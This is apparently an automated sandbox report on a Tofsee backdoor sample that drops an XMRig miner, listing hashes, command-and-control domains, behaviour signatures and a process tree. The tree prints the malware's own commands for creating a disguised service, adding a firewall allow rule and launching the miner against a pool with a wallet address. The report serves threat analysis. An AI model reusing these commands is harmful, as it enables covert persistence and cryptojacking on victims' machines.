Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    27-11-2022 17:19

General

  • Target

    ae103a988f889f4120a5d21bdf08d4ff41588c26c4efab1c604cab29dc5632a2.exe

  • Size

    178KB

  • MD5

    faca2fb4b7df8b02263be3f101775d8d

  • SHA1

    1ee11a0311a1507b66d76b668eaa1806794692a7

  • SHA256

    ae103a988f889f4120a5d21bdf08d4ff41588c26c4efab1c604cab29dc5632a2

  • SHA512

    3f8dd1204b45afb76df8137f1a46a40a6b53c3bf98b80959724d27bc1da1e1e48fb28c18ebbb4940b30ac6b98e1b04f4ccb937e7a9b836802bfbea903a88ff7c

  • SSDEEP

    3072:knSQXMYrEDcw6d5QWBhf7RBkDuaad402UlVDYJ5V2RBB2Wk2:mDEDcwdYJRBSuld40vYJ5yB

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ae103a988f889f4120a5d21bdf08d4ff41588c26c4efab1c604cab29dc5632a2.exe
    "C:\Users\Admin\AppData\Local\Temp\ae103a988f889f4120a5d21bdf08d4ff41588c26c4efab1c604cab29dc5632a2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2020
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xofnomaq\
      2⤵
        PID:604
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ndwurahg.exe" C:\Windows\SysWOW64\xofnomaq\
        2⤵
          PID:1900
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xofnomaq binPath= "C:\Windows\SysWOW64\xofnomaq\ndwurahg.exe /d\"C:\Users\Admin\AppData\Local\Temp\ae103a988f889f4120a5d21bdf08d4ff41588c26c4efab1c604cab29dc5632a2.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:772
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xofnomaq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:972
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xofnomaq
          2⤵
          • Launches sc.exe
          PID:1312
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:560
      • C:\Windows\SysWOW64\xofnomaq\ndwurahg.exe
        C:\Windows\SysWOW64\xofnomaq\ndwurahg.exe /d"C:\Users\Admin\AppData\Local\Temp\ae103a988f889f4120a5d21bdf08d4ff41588c26c4efab1c604cab29dc5632a2.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:856
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1616
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1600

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ndwurahg.exe

        Filesize

        13.6MB

        MD5

        b415a4446a2d2b05640d5e10ec9c89d9

        SHA1

        37e2d60d103858422c3fcc44fac8c9cf4b154c27

        SHA256

        224d4bfab608631978d0073285af83b735cf5d6d3e5a0405463bdfce5d052a94

        SHA512

        ceafafc49e8e8bd0201f95cdba4a21bdde7eceea8403a765c5b64173af5b7624ff692c38da345899bf9d4516ff82f6c3548b1d8edd77c1314093092bb1de01a9

      • C:\Windows\SysWOW64\xofnomaq\ndwurahg.exe

        Filesize

        13.6MB

        MD5

        b415a4446a2d2b05640d5e10ec9c89d9

        SHA1

        37e2d60d103858422c3fcc44fac8c9cf4b154c27

        SHA256

        224d4bfab608631978d0073285af83b735cf5d6d3e5a0405463bdfce5d052a94

        SHA512

        ceafafc49e8e8bd0201f95cdba4a21bdde7eceea8403a765c5b64173af5b7624ff692c38da345899bf9d4516ff82f6c3548b1d8edd77c1314093092bb1de01a9

      • memory/560-64-0x0000000000000000-mapping.dmp

      • memory/604-55-0x0000000000000000-mapping.dmp

      • memory/772-61-0x0000000000000000-mapping.dmp

      • memory/856-76-0x0000000000400000-0x000000000070E000-memory.dmp

        Filesize

        3.1MB

      • memory/856-74-0x00000000007DB000-0x00000000007EC000-memory.dmp

        Filesize

        68KB

      • memory/972-62-0x0000000000000000-mapping.dmp

      • memory/1312-63-0x0000000000000000-mapping.dmp

      • memory/1600-106-0x000000000011259C-mapping.dmp

      • memory/1600-101-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1600-99-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1616-71-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1616-95-0x0000000000220000-0x0000000000227000-memory.dmp

        Filesize

        28KB

      • memory/1616-98-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1616-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1616-72-0x0000000000089A6B-mapping.dmp

      • memory/1616-92-0x0000000005900000-0x0000000005D0B000-memory.dmp

        Filesize

        4.0MB

      • memory/1616-89-0x00000000001D0000-0x00000000001D5000-memory.dmp

        Filesize

        20KB

      • memory/1616-78-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1616-80-0x0000000001A90000-0x0000000001C9F000-memory.dmp

        Filesize

        2.1MB

      • memory/1616-83-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

      • memory/1616-86-0x00000000001C0000-0x00000000001D0000-memory.dmp

        Filesize

        64KB

      • memory/1900-59-0x0000000000000000-mapping.dmp

      • memory/2020-65-0x00000000008FB000-0x000000000090C000-memory.dmp

        Filesize

        68KB

      • memory/2020-66-0x0000000000400000-0x000000000070E000-memory.dmp

        Filesize

        3.1MB

      • memory/2020-54-0x0000000075451000-0x0000000075453000-memory.dmp

        Filesize

        8KB

      • memory/2020-58-0x0000000000400000-0x000000000070E000-memory.dmp

        Filesize

        3.1MB

      • memory/2020-57-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2020-56-0x00000000008FB000-0x000000000090C000-memory.dmp

        Filesize

        68KB